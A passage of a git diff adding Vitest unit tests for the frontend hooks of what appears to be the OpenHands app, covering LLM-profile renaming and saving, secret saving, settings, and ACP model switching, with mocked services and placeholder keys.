+        { name: "old-name", model: "gpt-4", base_url: null, api_key_set: true },
+      ],
+    });
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "old-name",
+        newName: "renamed-profile",
+      });
+    });
+
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+  });
+
+  it("invalidates settings queries on success", async () => {
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "new-name",
+      message: "Profile renamed",
+    });
+
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "old-name",
+        newName: "new-name",
+      });
+    });
+
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+  });
+
+  it("renames a selected local title profile preference", async () => {
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "Titles-v2",
+      message: "Profile renamed",
+    });
+    vi.mocked(SettingsService.getSettings).mockResolvedValue({
+      title_llm_profile: "Titles",
+    } as never);
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "Titles",
+        newName: "Titles-v2",
+      });
+    });
+
+    expect(SettingsService.saveSettings).toHaveBeenCalledWith({
+      title_llm_profile: "Titles-v2",
+    });
+  });
+
+  it("handles rename errors (e.g., name conflict)", async () => {
+    const error = new Error("Profile name already exists");
+    vi.mocked(ProfilesService.renameProfile).mockRejectedValue(error);
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await expect(
+      act(async () => {
+        await result.current.mutateAsync({
+          name: "old-name",
+          newName: "existing-name",
+        });
+      }),
+    ).rejects.toThrow("Profile name already exists");
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+  });
+
+  it("handles rename errors (e.g., profile not found)", async () => {
+    const error = new Error("Profile not found");
+    vi.mocked(ProfilesService.renameProfile).mockRejectedValue(error);
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await expect(
+      act(async () => {
+        await result.current.mutateAsync({
+          name: "nonexistent",
+          newName: "new-name",
+        });
+      }),
+    ).rejects.toThrow("Profile not found");
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+  });
+
+  it("invalidates SettingsService cache on success", async () => {
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "new-name",
+      message: "Profile renamed",
+    });
+
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result } = renderHook(() => useRenameLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "old-name",
+        newName: "new-name",
+      });
+    });
+
+    expect(invalidateCacheSpy).toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-resume-conversation.test.tsx b/__tests__/hooks/mutation/use-resume-conversation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..af76faabddf7ea11f37e88bbd45b262d22bb3dbc
--- /dev/null
+++ b/__tests__/hooks/mutation/use-resume-conversation.test.tsx
@@ -0,0 +1,83 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ConversationClient } from "@openhands/typescript-client/clients";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import React from "react";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useResumeConversation } from "#/hooks/mutation/use-resume-conversation";
+
+const { runConversationMock } = vi.hoisted(() => ({
+  runConversationMock: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ConversationClient: vi.fn(function ConversationClientMock() {
+    return { runConversation: runConversationMock };
+  }),
+}));
+
+describe("useResumeConversation", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    vi.restoreAllMocks();
+    runConversationMock.mockReset().mockResolvedValue({ success: true });
+    vi.mocked(ConversationClient).mockClear();
+  });
+
+  const wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+
+  it("invalidates conversation queries on settled", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "batchGetAppConversations",
+    ).mockResolvedValue([
+      {
+        id: "test-conv-id",
+        created_by_user_id: null,
+        conversation_url: "http://localhost:3000",
+        session_api_key: "test-key",
+        sandbox_id: null,
+        selected_repository: null,
+        selected_branch: null,
+        git_provider: null,
+        title: "Test",
+        public: false,
+        execution_status: null,
+        trigger: null,
+        pr_number: [],
+        llm_model: null,
+        metrics: null,
+        sub_conversation_ids: [],
+        created_at: new Date().toISOString(),
+        updated_at: new Date().toISOString(),
+      },
+    ]);
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const { result } = renderHook(() => useResumeConversation(), { wrapper });
+
+    result.current.mutate({ conversationId: "test-conv-id" });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess || result.current.isError).toBe(true);
+    });
+
+    const invalidateCalls = invalidateSpy.mock.calls.map((call) => call[0]);
+    const conversationInvalidation = invalidateCalls.find(
+      (call) =>
+        call?.queryKey?.[0] === "user" &&
+        call?.queryKey?.[1] === "conversation",
+    );
+
+    expect(conversationInvalidation).toBeDefined();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts b/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..59671fb0c752eac742a90ec90ca211905d6a5f17
--- /dev/null
+++ b/__tests__/hooks/mutation/use-save-fields-as-secrets.test.ts
@@ -0,0 +1,178 @@
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { SecretsService } from "#/api/secrets-service";
+import { useSaveFieldsAsSecrets } from "#/hooks/mutation/use-save-fields-as-secrets";
+import type { MarketplaceField } from "@openhands/extensions/integrations";
+import {
+  displayErrorToast,
+  displaySuccessToast,
+} from "#/utils/custom-toast-handlers";
+
+// Replace both toast functions with vi.fn() instances so we can assert on them.
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+// Minimal field factory — the hook only needs `key` and `label`.
+const f = (key: string, label = key): MarketplaceField =>
+  ({ key, label }) as unknown as MarketplaceField;
+
+// The hook reads a QueryClient via useQueryClient(), so renderHook needs a
+// provider. We hand back the client too so tests can spy on invalidateQueries.
+let queryClient: QueryClient;
+const createWrapper = () => {
+  queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) =>
+    React.createElement(QueryClientProvider, { client: queryClient }, children);
+};
+
+const renderSaveHook = () =>
+  renderHook(() => useSaveFieldsAsSecrets(), { wrapper: createWrapper() });
+
+describe("useSaveFieldsAsSecrets", () => {
+  beforeEach(() => {
+    vi.spyOn(SecretsService, "createSecret").mockResolvedValue();
+    vi.mocked(displaySuccessToast).mockClear();
+    vi.mocked(displayErrorToast).mockClear();
+  });
+
+  afterEach(() => vi.clearAllMocks());
+
+  // ── early-return guard ──────────────────────────────────────────────────────
+
+  it("does nothing when no fields are checked", () => {
+    const { result } = renderSaveHook();
+    result.current([f("KEY")], { KEY: "val" }, { KEY: false });
+    expect(SecretsService.createSecret).not.toHaveBeenCalled();
+  });
+
+  it("skips a checked field whose value is an empty string", () => {
+    const { result } = renderSaveHook();
+    result.current([f("KEY")], { KEY: "" }, { KEY: true });
+    expect(SecretsService.createSecret).not.toHaveBeenCalled();
+  });
+
+  it("skips a checked field whose value is whitespace-only", () => {
+    const { result } = renderSaveHook();
+    result.current([f("KEY")], { KEY: "   " }, { KEY: true });
+    expect(SecretsService.createSecret).not.toHaveBeenCalled();
+  });
+
+  // ── createSecret call arguments ────────────────────────────────────────────
+
+  it("calls createSecret with the trimmed value and field label as description", () => {
+    const { result } = renderSaveHook();
+    result.current(
+      [f("API_KEY", "API Key")],
+      { API_KEY: "  sk-secret  " },
+      { API_KEY: true },
+    );
+    expect(SecretsService.createSecret).toHaveBeenCalledWith(
+      "API_KEY",
+      "sk-secret",
+      "API Key",
+    );
+  });
+
+  it("only calls createSecret for checked fields, skipping unchecked ones", () => {
+    const { result } = renderSaveHook();
+    result.current(
+      [f("CHECKED"), f("SKIPPED")],
+      { CHECKED: "val", SKIPPED: "val" },
+      { CHECKED: true, SKIPPED: false },
+    );
+    expect(SecretsService.createSecret).toHaveBeenCalledTimes(1);
+    expect(SecretsService.createSecret).toHaveBeenCalledWith(
+      "CHECKED",
+      "val",
+      "CHECKED",
+    );
+  });
+
+  // ── Promise.allSettled behaviour ────────────────────────────────────────────
+
+  it("calls createSecret for every checked field even if one of them rejects", () => {
+    vi.spyOn(SecretsService, "createSecret")
+      .mockRejectedValueOnce(new Error("conflict"))
+      .mockResolvedValue();
+    const { result } = renderSaveHook();
+    result.current(
+      [f("A"), f("B")],
+      { A: "val-a", B: "val-b" },
+      { A: true, B: true },
+    );
+    // Both are called synchronously inside the allSettled map.
+    expect(SecretsService.createSecret).toHaveBeenCalledTimes(2);
+  });
+
+  // ── toast behaviour ─────────────────────────────────────────────────────────
+
+  it("shows only a success toast when all fields save successfully", async () => {
+    const { result } = renderSaveHook();
+    result.current([f("KEY")], { KEY: "val" }, { KEY: true });
+    await waitFor(() =>
+      expect(vi.mocked(displaySuccessToast)).toHaveBeenCalledTimes(1),
+    );
+    expect(vi.mocked(displayErrorToast)).not.toHaveBeenCalled();
+  });
+
+  it("shows only an error toast when all fields fail to save", async () => {
+    vi.spyOn(SecretsService, "createSecret").mockRejectedValue(
+      new Error("fail"),
+    );
+    const { result } = renderSaveHook();
+    result.current([f("KEY")], { KEY: "val" }, { KEY: true });
+    await waitFor(() =>
+      expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1),
+    );
+    expect(vi.mocked(displaySuccessToast)).not.toHaveBeenCalled();
+  });
+
+  it("shows both success and error toasts on partial failure", async () => {
+    vi.spyOn(SecretsService, "createSecret")
+      .mockResolvedValueOnce()
+      .mockRejectedValueOnce(new Error("fail"));
+    const { result } = renderSaveHook();
+    result.current(
+      [f("OK_KEY"), f("FAIL_KEY")],
+      { OK_KEY: "val", FAIL_KEY: "val" },
+      { OK_KEY: true, FAIL_KEY: true },
+    );
+    await waitFor(() => {
+      expect(vi.mocked(displaySuccessToast)).toHaveBeenCalledTimes(1);
+      expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  // ── cache invalidation ──────────────────────────────────────────────────────
+
+  it("invalidates the secrets query caches after a successful save", async () => {
+    const { result } = renderSaveHook();
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+    result.current([f("KEY")], { KEY: "val" }, { KEY: true });
+    await waitFor(() => {
+      expect(invalidateSpy).toHaveBeenCalledWith({
+        queryKey: ["secrets-search"],
+      });
+      expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: ["secrets"] });
+    });
+  });
+
+  it("does not invalidate the secrets query caches when every save fails", async () => {
+    vi.spyOn(SecretsService, "createSecret").mockRejectedValue(
+      new Error("fail"),
+    );
+    const { result } = renderSaveHook();
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+    result.current([f("KEY")], { KEY: "val" }, { KEY: true });
+    await waitFor(() =>
+      expect(vi.mocked(displayErrorToast)).toHaveBeenCalledTimes(1),
+    );
+    expect(invalidateSpy).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-save-llm-profile.test.tsx b/__tests__/hooks/mutation/use-save-llm-profile.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ea91ab06bcd72fd2b734b64237e8249a945ea31
--- /dev/null
+++ b/__tests__/hooks/mutation/use-save-llm-profile.test.tsx
@@ -0,0 +1,138 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useSaveLlmProfile } from "#/hooks/mutation/use-save-llm-profile";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { LLM_PROFILES_QUERY_KEYS, SETTINGS_QUERY_KEYS } from "#/hooks/query/query-keys";
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+vi.mock("#/api/settings-service/settings-service.api");
+
+describe("useSaveLlmProfile", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({ children }: { children: React.ReactNode }) => React.ReactElement;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("calls ProfilesService.saveProfile with name and request", async () => {
+    vi.mocked(ProfilesService.saveProfile).mockResolvedValue({
+      name: "my-profile",
+      message: "Profile saved",
+    });
+
+    const { result } = renderHook(() => useSaveLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "my-profile",
+        request: {
+          llm: {
+            model: "openai/gpt-4",
+            api_key: "sk-xxx",
+          },
+        },
+      });
+    });
+
+    expect(ProfilesService.saveProfile).toHaveBeenCalledWith("my-profile", {
+      llm: {
+        model: "openai/gpt-4",
+        api_key: "sk-xxx",
+      },
+    });
+  });
+
+  it("saves profile with include_secrets flag", async () => {
+    vi.mocked(ProfilesService.saveProfile).mockResolvedValue({
+      name: "snapshot-profile",
+      message: "Profile saved",
+    });
+
+    const { result } = renderHook(() => useSaveLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "snapshot-profile",
+        request: {
+          llm: { model: "openai/gpt-4" },
+          include_secrets: true,
+        },
+      });
+    });
+
+    expect(ProfilesService.saveProfile).toHaveBeenCalledWith("snapshot-profile", {
+      llm: { model: "openai/gpt-4" },
+      include_secrets: true,
+    });
+  });
+
+  it("invalidates all relevant caches on success", async () => {
+    vi.mocked(ProfilesService.saveProfile).mockResolvedValue({
+      name: "test-profile",
+      message: "Profile saved",
+    });
+
+    // Pre-populate the profiles cache
+    queryClient.setQueryData(LLM_PROFILES_QUERY_KEYS.all, { profiles: [] });
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result } = renderHook(() => useSaveLlmProfile(), { wrapper });
+
+    await act(async () => {
+      await result.current.mutateAsync({
+        name: "test-profile",
+        request: { llm: { model: "openai/gpt-4" } },
+      });
+    });
+
+    // Verifies all three cache invalidations occur on success
+    expect(invalidateCacheSpy).toHaveBeenCalled();
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(invalidateSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+  });
+
+  it("handles save errors", async () => {
+    const error = new Error("Profile name already exists");
+    vi.mocked(ProfilesService.saveProfile).mockRejectedValue(error);
+
+    const { result } = renderHook(() => useSaveLlmProfile(), { wrapper });
+
+    await expect(
+      act(async () => {
+        await result.current.mutateAsync({
+          name: "duplicate-name",
+          request: { llm: { model: "openai/gpt-4" } },
+        });
+      }),
+    ).rejects.toThrow("Profile name already exists");
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-save-settings.test.ts b/__tests__/hooks/mutation/use-save-settings.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..06165cb1aabf8818e9b124b02796f87e10fed426
--- /dev/null
+++ b/__tests__/hooks/mutation/use-save-settings.test.ts
@@ -0,0 +1,100 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import React from "react";
+import SettingsService from "#/api/settings-service/settings-service.api";
+
+const trackMcpConfigUpdatedMock = vi.fn();
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackMcpConfigUpdated: trackMcpConfigUpdatedMock,
+  }),
+}));
+
+const useSettingsMock = vi.fn();
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+import { useSaveSettings } from "#/hooks/mutation/use-save-settings";
+
+const createWrapper = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) =>
+    React.createElement(QueryClientProvider, { client: queryClient }, children);
+};
+
+describe("useSaveSettings - MCP tracking", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+    // Default: no current mcp_config so any incoming config is treated as new.
+    useSettingsMock.mockReturnValue({ data: {} });
+  });
+
+  it("calls trackMcpConfigUpdated with server counts when mcp_config changes", async () => {
+    const { result } = renderHook(() => useSaveSettings(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      mcp_config: {
+        sse1: { transport: "sse", url: "http://sse1" },
+        sse2: { transport: "sse", url: "http://sse2" },
+        stdio1: { transport: "stdio", command: "cmd", args: [] },
+      },
+    });
+
+    await waitFor(() => {
+      expect(trackMcpConfigUpdatedMock).toHaveBeenCalledWith({
+        sseServersCount: 2,
+        stdioServersCount: 1,
+      });
+    });
+  });
+
+  it("does not call trackMcpConfigUpdated when mcp_config is absent in the update", async () => {
+    const { result } = renderHook(() => useSaveSettings(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({ user_consents_to_analytics: true });
+
+    expect(trackMcpConfigUpdatedMock).not.toHaveBeenCalled();
+  });
+
+  it("does not call trackMcpConfigUpdated when mcp_config reference is unchanged", async () => {
+    const sharedConfig = {};
+    useSettingsMock.mockReturnValue({
+      data: { mcp_config: sharedConfig },
+    });
+
+    const { result } = renderHook(() => useSaveSettings(), {
+      wrapper: createWrapper(),
+    });
+
+    // Passing the same object reference — should not trigger tracking.
+    await result.current.mutateAsync({ mcp_config: sharedConfig });
+
+    expect(trackMcpConfigUpdatedMock).not.toHaveBeenCalled();
+  });
+
+  it("counts zero servers correctly when server arrays are empty", async () => {
+    const { result } = renderHook(() => useSaveSettings(), {
+      wrapper: createWrapper(),
+    });
+
+    await result.current.mutateAsync({
+      mcp_config: {},
+    });
+
+    await waitFor(() => {
+      expect(trackMcpConfigUpdatedMock).toHaveBeenCalledWith({
+        sseServersCount: 0,
+        stdioServersCount: 0,
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-switch-acp-model.test.tsx b/__tests__/hooks/mutation/use-switch-acp-model.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a7fb3aa8f18cea85925cea5ceaba71e1600667db
--- /dev/null
+++ b/__tests__/hooks/mutation/use-switch-acp-model.test.tsx
@@ -0,0 +1,207 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { useSwitchAcpModel } from "#/hooks/mutation/use-switch-acp-model";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import AgentProfilesService from "#/api/agent-profiles-service/agent-profiles-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { SETTINGS_QUERY_KEYS } from "#/hooks/query/query-keys";
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      switchAcpModel: vi.fn(),
+    },
+  }),
+);
+
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  default: {
+    listProfiles: vi.fn(),
+    getProfile: vi.fn(),
+    saveProfile: vi.fn(),
+  },
+}));
+
+vi.mock("#/api/settings-service/settings-service.api", () => ({
+  default: {
+    saveSettings: vi.fn(),
+    invalidateCache: vi.fn(),
+  },
+}));
+
+const renderSwitchHook = () => {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  });
+  const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries");
+  const { result } = renderHook(() => useSwitchAcpModel(), {
+    wrapper: ({ children }) => (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    ),
+  });
+  return { result, invalidateQueriesSpy };
+};
+
+describe("useSwitchAcpModel", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("live-switches the ACP model for an active conversation and invalidates conversation queries", async () => {
+    vi.mocked(AgentServerConversationService.switchAcpModel).mockResolvedValue(
+      undefined,
+    );
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({
+      conversationId: "conv-1",
+      model: "claude-sonnet-4-6",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(AgentServerConversationService.switchAcpModel).toHaveBeenCalledWith(
+      "conv-1",
+      "claude-sonnet-4-6",
+    );
+    // Does NOT write to settings on the per-conversation path.
+    expect(SettingsService.saveSettings).not.toHaveBeenCalled();
+    expect(SettingsService.invalidateCache).not.toHaveBeenCalled();
+    // Refreshes the conversation caches so the model chip updates.
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: ["user", "conversation", "conv-1"],
+    });
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: ["user", "conversations"],
+    });
+  });
+
+  it("persists the model as the agent-settings default on the home page when no ACP profile is active", async () => {
+    // Legacy/no-ACP-profile fallback: an active OpenHands profile means the
+    // ACP-profile persist path doesn't apply, so the write goes to settings.
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: [
+        { id: "id-default", name: "default", agent_kind: "openhands" },
+      ],
+      active_agent_profile_id: "id-default",
+    } as never);
+    vi.mocked(SettingsService.saveSettings).mockResolvedValue(true);
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: null, model: "gemini-2.5-pro" });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    // The home-page default is written via a scalar acp_model diff (deep-merged
+    // into agent_settings so the provider + command are preserved).
+    expect(SettingsService.saveSettings).toHaveBeenCalledWith({
+      agent_settings_diff: { acp_model: "gemini-2.5-pro" },
+    });
+    expect(AgentProfilesService.saveProfile).not.toHaveBeenCalled();
+    expect(
+      AgentServerConversationService.switchAcpModel,
+    ).not.toHaveBeenCalled();
+    // Clears the stale settings cache + refetches so the next conversation and
+    // the home chip read the new default.
+    expect(SettingsService.invalidateCache).toHaveBeenCalled();
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+  });
+
+  it("persists the model into the active ACP profile on the home page", async () => {
+    // The profile is the launch source (agent_profile_id and agent_settings
+    // are mutually exclusive), so the pick must land on the profile itself.
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: [{ id: "id-claude", name: "claude", agent_kind: "acp" }],
+      active_agent_profile_id: "id-claude",
+    } as never);
+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      profile: {
+        id: "id-claude",
+        name: "claude",
+        revision: 3,
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        acp_model: "claude-sonnet-4-6",
+        acp_session_mode: "default",
+      },
+    } as never);
+    vi.mocked(AgentProfilesService.saveProfile).mockResolvedValue({
+      name: "claude",
+      message: "saved",
+    } as never);
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: null, model: "claude-opus-4-6" });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    // Model-only merge over the stored profile: unmodeled fields survive,
+    // identity (id/revision) is stripped by mergeAgentProfileSaveInput.
+    expect(AgentProfilesService.saveProfile).toHaveBeenCalledWith("claude", {
+      agent_kind: "acp",
+      acp_server: "claude-code",
+      acp_model: "claude-opus-4-6",
+      acp_session_mode: "default",
+    });
+    expect(SettingsService.saveSettings).not.toHaveBeenCalled();
+    // The agent-profiles prefix covers the list + detail entries just
+    // rewritten, so the home picker re-derives from the new model.
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: ["agent-profiles"],
+    });
+  });
+
+  it("does not persist to agent_settings when the profiles fetch fails", async () => {
+    // Discovery failure propagates instead of downgrading (#16523): an
+    // active-profile launch ignores agent_settings, so persisting the pick
+    // there would silently drop it.
+    vi.mocked(AgentProfilesService.listProfiles).mockRejectedValue(
+      new Error("profile endpoint unavailable"),
+    );
+
+    const { result } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: null, model: "gemini-2.5-pro" });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(SettingsService.saveSettings).not.toHaveBeenCalled();
+    expect(AgentProfilesService.saveProfile).not.toHaveBeenCalled();
+  });
+
+  it("does not invalidate caches when the live switch fails", async () => {
+    vi.mocked(AgentServerConversationService.switchAcpModel).mockRejectedValue(
+      new Error("boom"),
+    );
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: "conv-1", model: "x" });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(invalidateQueriesSpy).not.toHaveBeenCalledWith({
+      queryKey: ["user", "conversation", "conv-1"],
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx b/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b89e56b0ad5acc18ac44941dd9975d085be799d2
--- /dev/null
+++ b/__tests__/hooks/mutation/use-switch-llm-profile-and-log.test.tsx
@@ -0,0 +1,39 @@
+import { renderHook } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+
+// The wrapper is a thin positional adapter over the base mutation; the inline
+// message, metadata persist, and error reporting all live in the mutation
+// itself (see use-switch-llm-profile.test.tsx) so they survive the switcher
+// menu unmounting on select.
+const switchMutateMock = vi.fn();
+vi.mock("#/hooks/mutation/use-switch-llm-profile", () => ({
+  useSwitchLlmProfile: () => ({ mutate: switchMutateMock, isPending: false }),
+}));
+
+import { useSwitchLlmProfileAndLog } from "#/hooks/mutation/use-switch-llm-profile-and-log";
+
+describe("useSwitchLlmProfileAndLog", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("maps positional args to the base mutation for the per-conversation path", () => {
+    const { result } = renderHook(() => useSwitchLlmProfileAndLog());
+    result.current.switchAndLog("conv-1", "claude-sonnet-4.6");
+
+    expect(switchMutateMock).toHaveBeenCalledWith({
+      conversationId: "conv-1",
+      profileName: "claude-sonnet-4.6",
+    });
+  });
+
+  it("passes a null conversationId through for the home-page activate path", () => {
+    const { result } = renderHook(() => useSwitchLlmProfileAndLog());
+    result.current.switchAndLog(null, "claude-sonnet-4.6");
+
+    expect(switchMutateMock).toHaveBeenCalledWith({
+      conversationId: null,
+      profileName: "claude-sonnet-4.6",
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx b/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d4a3c8f9da251c1f8de1a43dec6513c8c441b7e6
--- /dev/null
+++ b/__tests__/hooks/mutation/use-switch-llm-profile.test.tsx
@@ -0,0 +1,315 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError, AxiosHeaders } from "axios";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { useSwitchLlmProfile } from "#/hooks/mutation/use-switch-llm-profile";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  LLM_PROFILES_QUERY_KEYS,
+  SETTINGS_QUERY_KEYS,
+} from "#/hooks/query/query-keys";
+import { recordModelSwitchMessage } from "#/hooks/chat/record-model-switch-message";
+import {
+  getStoredConversationMetadata,
+  setStoredConversationMetadata,
+} from "#/api/conversation-metadata-store";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+
+vi.mock("#/utils/custom-toast-handlers");
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      switchProfile: vi.fn(),
+    },
+  }),
+);
+
+vi.mock("#/hooks/chat/record-model-switch-message", async (importOriginal) => ({
+  // Keep the real stampActiveLlmProfile so the metadata-stamp assertions
+  // below exercise the actual write; only the inline-message recorder is spied.
+  ...(await importOriginal<
+    typeof import("#/hooks/chat/record-model-switch-message")
+  >()),
+  recordModelSwitchMessage: vi.fn(),
+}));
+
+vi.mock("#/hooks/chat/model-command-event-anchor", () => ({
+  getLastRenderableEventId: () => "evt-9",
+}));
+
+const renderSwitchHook = () => {
